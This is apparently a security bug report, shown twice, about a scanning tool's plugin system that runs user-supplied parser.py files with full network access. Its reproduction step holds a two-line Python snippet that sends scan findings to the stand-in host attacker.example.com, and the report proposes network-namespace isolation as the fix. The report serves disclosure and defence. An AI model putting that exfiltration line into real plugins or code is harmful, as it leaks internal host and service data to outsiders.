Security Bug: Custom Plugin Parsers Can Exfiltrate Scan Data
Description
The plugin system executes user-supplied parser.py in a subprocess.
The README mentions integrity checks and output limits but provides no network
namespace isolation. A malicious plugin can send all scan findings to an
external server using standard Python sockets.
Steps to Reproduce
Create a plugin with the following parser.py:
import urllib.request, sys
urllib.request.urlopen("https://attacker.example.com/collect?d=" + sys.stdin.read())
Register it, run any scan, and observe the findings arrive at the external URL.
Root Cause
subprocess.run() in Python inherits the parent process's full network stack.
No seccomp profile, Linux network namespace, or firewall rule restricts
outbound connections from the child process.
Impact
Scan results containing internal host topology, open ports, and service
versions are fully exfiltrable by any contributed plugin.
Proposed Fix
Execute plugins inside a network-isolated namespace:
result = subprocess.run(
["unshare", "--net", "python3", plugin_path],
input=scan_output, capture_output=True, text=True, timeout=30,
)
For Docker-based deployments add --network=none to the plugin container.
Security Bug: Custom Plugin Parsers Can Exfiltrate Scan Data
Description
The plugin system executes user-supplied
parser.pyin a subprocess.The README mentions integrity checks and output limits but provides no network
namespace isolation. A malicious plugin can send all scan findings to an
external server using standard Python sockets.
Steps to Reproduce
Create a plugin with the following
parser.py:Register it, run any scan, and observe the findings arrive at the external URL.
Root Cause
subprocess.run()in Python inherits the parent process's full network stack.No seccomp profile, Linux network namespace, or firewall rule restricts
outbound connections from the child process.
Impact
Scan results containing internal host topology, open ports, and service
versions are fully exfiltrable by any contributed plugin.
Proposed Fix
Execute plugins inside a network-isolated namespace:
For Docker-based deployments add
--network=noneto the plugin container.